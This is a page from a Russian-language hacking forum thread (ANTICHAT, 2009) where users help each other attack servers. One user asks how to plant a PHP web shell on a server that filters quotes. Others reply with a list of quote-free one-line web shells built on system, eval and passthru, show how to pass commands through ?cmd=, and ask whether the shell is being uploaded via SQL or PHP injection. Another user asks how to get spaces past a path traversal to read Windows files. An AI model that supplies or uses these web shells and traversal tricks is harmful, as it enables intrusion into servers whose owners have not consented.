HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 990 из 2422 « Первая < 490890940980 986 987 988 989 990 991 992 993 994 10001040109014901990 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.11.2009, 10:28
Roston
Постоянный
Регистрация: 31.07.2008
Сообщений: 370
С нами: 9357506

Репутация: 350
По умолчанию
просто поставь пакет с новым пхп, за одно и его обновиш. на php.net точно он есть
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 12.11.2009, 13:49
sideup
Новичок
Регистрация: 10.04.2008
Сообщений: 8
С нами: 9519229

Репутация: 0
По умолчанию
Добрый день!

Подскажите пожалуйста

не могу записать в файл на сервере код CMD

<?php system($_GET["cmd"]); ?>

сервер походу фильтрует кавычки.

Подскажите как это обойти, чтобы получить шелл.

Или это невозможно?
 
Ответить с цитированием

  #3  
Старый 12.11.2009, 13:50
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами: 9154406

Репутация: 2221


По умолчанию
Цитата:
Сообщение от sideup  
Добрый день!

Подскажите пожалуйста

не могу записать в файл на сервере код CMD

<?php system($_GET["cmd"]); ?>

сервер походу фильтрует кавычки.

Подскажите как это обойти, чтобы получить шелл.

Или это невозможно?
PHP код:
<?php system($_GET); ?>
 
Ответить с цитированием

  #4  
Старый 12.11.2009, 14:33
sideup
Новичок
Регистрация: 10.04.2008
Сообщений: 8
С нами: 9519229

Репутация: 0
По умолчанию
Warning: Wrong parameter count for system() in

/home/site-shop.com/site/site/shell.php on line 1

При выполнении шелла такая ошибка.
 
Ответить с цитированием

  #5  
Старый 12.11.2009, 14:48
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
С нами: 8717851

Репутация: 90
По умолчанию
Цитата:
Сообщение от sideup  
Warning: Wrong parameter count for system() in

/home/site-shop.com/site/site/shell.php on line 1

При выполнении шелла такая ошибка.
а ты передавал команды?
 
Ответить с цитированием

  #6  
Старый 12.11.2009, 14:50
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами: 9270510

Репутация: 519


По умолчанию
Цитата:
Сообщение от sideup  
Warning: Wrong parameter count for system() in

/home/site-shop.com/site/site/shell.php on line 1

При выполнении шелла такая ошибка.
кагбэ так:

http://127.0.0.1/index.php?cmd=ls
и т д
 
Ответить с цитированием

  #7  
Старый 12.11.2009, 13:51
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
С нами: 8717851

Репутация: 90
По умолчанию
Цитата:
Сообщение от sideup  
Добрый день!

Подскажите пожалуйста

не могу записать в файл на сервере код CMD

<?php system($_GET["cmd"]); ?>

сервер походу фильтрует кавычки.

Подскажите как это обойти, чтобы получить шелл.

Или это невозможно?
печальный вопрос
Код:
<?system($_GET[cmd])?> 
<?eval($_GET[cmd])?>
<?passthru($_GET[cmd])?>
<?eval($_REQUEST[cmd])?>
<?passthru($_REQUEST[cmd])?>
<?system($_REQUEST[cmd])?>
и да, мне интересно через что ты заливаешь шелл?
если через скулинъект, то как бы ты не сможешь вообще ничего залить если у тебя как ты говоришь ГПЦ=ОН
Последний раз редактировалось Aртем; 12.11.2009 в 14:01..
 
Ответить с цитированием

  #8  
Старый 12.11.2009, 15:13
sideup
Новичок
Регистрация: 10.04.2008
Сообщений: 8
С нами: 9519229

Репутация: 0
По умолчанию
Цитата:
Сообщение от Aртем  
печальный вопрос
Код:
<?system($_GET[cmd])?> 
<?eval($_GET[cmd])?>
<?passthru($_GET[cmd])?>
<?eval($_REQUEST[cmd])?>
<?passthru($_REQUEST[cmd])?>
<?system($_REQUEST[cmd])?>
и да, мне интересно через что ты заливаешь шелл?
если через скулинъект, то как бы ты не сможешь вообще ничего залить если у тебя как ты говоришь ГПЦ=ОН
Не работает из этого ничего.

<?php phpinfo(); ?> работает отлично
 
Ответить с цитированием

  #9  
Старый 12.11.2009, 15:14
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
С нами: 8717851

Репутация: 90
По умолчанию
Цитата:
Сообщение от sideup  
Не работает из этого ничего.

<?php phpinfo(); ?> работает отлично
ты как бы вопрос там видел? нет? я повторю:
через что ты заливаешь шелл?
[a] - SQL инъекция
[b] - PHP инъкция
[c] - Через какой-нибудь файловый менеджер.
 
Ответить с цитированием

  #10  
Старый 12.11.2009, 14:40
icekvot
Новичок
Регистрация: 12.10.2007
Сообщений: 14
С нами: 9779637

Репутация: 7
По умолчанию
Подскажите. Могу читать файлы и листинг файлов в папке через cgi
Папку "?lang=../../../../WINDOWS/" выводит нормально. А вот в "?lang=../../../../Documents and Settings/" не получается. Походу из-за пробелов.Как бы это обойти. Прочтовал пробел заменить на 0x20 непомогло. Также попробовал всю строку представить в других кодировках (url, sql, char) непомогает.
 
Ответить с цитированием
Ответ
Страница 990 из 2422 « Первая < 490890940980 986 987 988 989 990 991 992 993 994 10001040109014901990 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.